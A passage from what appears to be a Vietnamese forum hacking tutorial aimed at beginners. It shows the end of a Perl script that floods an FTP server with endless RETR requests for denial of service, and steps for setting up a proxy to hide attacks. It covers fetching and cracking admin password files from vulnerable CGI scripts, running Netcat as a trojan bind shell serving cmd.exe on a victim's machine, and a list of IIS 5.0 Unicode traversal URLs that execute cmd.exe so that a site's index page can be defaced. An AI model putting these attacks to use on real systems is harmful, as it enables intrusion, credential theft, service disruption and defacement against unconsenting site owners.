print $socket "user $user\r\n";
$response = <$socket>
print "$response\n";

print "pass $pass\n";
print $socket "pass $pass\r\n";
$response = <$socket>
print "$response\n";

print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.\n";
};

sub doit {
for (;; ){
print "retr a:/x\n";
print $socket "retr a:/x\r\n";
$response = <$socket>
print "$response";
}
}

initiate();
connecttoserver();
login();
doit();


_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã
này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó
sử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/x\r\n" . Khi muốn
kết thúc bạn chỉ cần nhấn ctrl+C .
_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD
:

perl abc.pl http://www.xxx.com/ anonymous me

trong đó User name và Password có thể là bất kỳ .

Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ?
Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng
thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho
các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để
dành phần đó cho các bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi
xin dừng phần DoS tại đây .
45 . ) Tự tạo cho mình một proxy để sài :

_Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị
firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình
một cái proxy made in <yourname> sài cho nó oai . Bây giờ hãy làm cùng tôi .
_ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy
khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong
bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass
mặc định mà nó cho bạn .
_ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng
chữ Test - script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó
bạn nhấn "next" và nhìn ở phía dưới của trang này có chữ show all verdon , bạn
hãy nhấn vào đó .
_ Tiếp tục bạn nhấn James Marshall ==>CGIscript ==>CGIproxy==>Next==>accept==> cho đến
khi bạn thấy một cái bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin
vào các trang đó :
+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com
.
+ FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com .
+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn .
+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn
finish .
+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi
nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài .
46 . ) Kỹ thuật lấy pass thông qua lỗi của một số Script :

a . ) Calendar CGI Script :


_ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó
nằm trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator
username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể
tìm thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ
việc dùng John The Ripper hay những công cụ khác để giải mã nó là xong :
_file calendar.cfg thường đặt tại địa chỉ sau :

http://www.xxx.com/cgi-bin/calendar/calendar.cfg

sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :

http://www.xxx.com/cgi-bin/calen..._admin.pl?admin

_ Vậy là bạn đã có được quyền admin rồi đó .
b . ) WebBBS Script :

_WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ luân
phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn có thể
sử dụng kết hợp password và username để cài đặt banners tạo một banner accounts
mới , xoá accounts view sensitive info, vv.vv
_Địa chỉ passwd của WebAdverts là :

http://www.xxx.com/cgi-bin/advert/adpassword.txt

sau khi giải mã bạn logging vào:

http://www.xxx.com/cgi-bin/advert/ads_admin.pl

để login như là script administrator .
c . ) WWWBoard Script :

_WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy search nó
bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt .
d . ) Mailmachine Script :

_Mailmachine.cgi là một webbased mailinglist , bạn có thể trông thấy file adressed.txt
chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy tại
những urls sau:

http://www.xxx.com/cgi-bin/mailman/addresses.txt
http://www.xxx.com/cgi-bin/maillist/addresses.txt
http://www.xxx.com/cgi-bin/mail/addresses.txt

bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác .
Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác .

Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc
lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước ) .

======================================================

Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post
lên ở những phần trước tôi đã sơ ý không thêm ký hiệu “#” vào trước
những câu phân tích đó , dẫn đến việc một số bạn thắc mắc là đoạn code
không hoạt động . Tôi thành thật xin lỗi các bạn vì sơ ý của tôi , các bạn
chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía trước dòng chú
thích Tiếng Việt của tôi là được ( Thông thường tôi có sử dụng dấu “ <
== ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý mà fix
nhé .
47 . ) Các công cụ cần thiết để hack Web :

_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công
cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng
trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề”
thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn
sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân
được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên
máy “làm ăn” của mình :
_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi
cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé )
.
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối
với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương
trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account
đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các
exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng
hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn
không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai
đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet
(Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ
bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên
mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem
những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver ,
pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử
dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ
thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP
được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản
trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt
vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện
được 5000 exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website
gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file
có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website
thì bạn phải nắm một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao
thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng
chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation
tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi
dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi
thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các
exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các
lệnh thông qua các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng. _ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows
NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ
chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các
bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản
trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các
bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì
cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .
48 . ) Hướng dẫn sử dụng Netcat :
a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn
hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết
một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại
biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe.
Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế
độ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi
ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7,
Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet
đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn
gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng
netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến
telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080
nghĩa là 1,2,3,..,8080
d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner của web server :

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)

C:\>nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy
dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500)
của host 172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open

_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng
tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e
<tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1
kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối
với Unix). Ví dụ:

CODE
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn
nhân trên cổng đã định, chẳng hạn như 8080

CODE
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK


Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi ,
chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương
, các bạn hãy xem tiếp nhé :

CODE
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng
nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví
dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang
lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền
Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là
xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì
netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy
dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )
49 . ) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để
ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên
lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày
các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng
cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay
không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các
bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl )
như sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất
cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17
thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7
, tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các
bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường
các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ
cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé .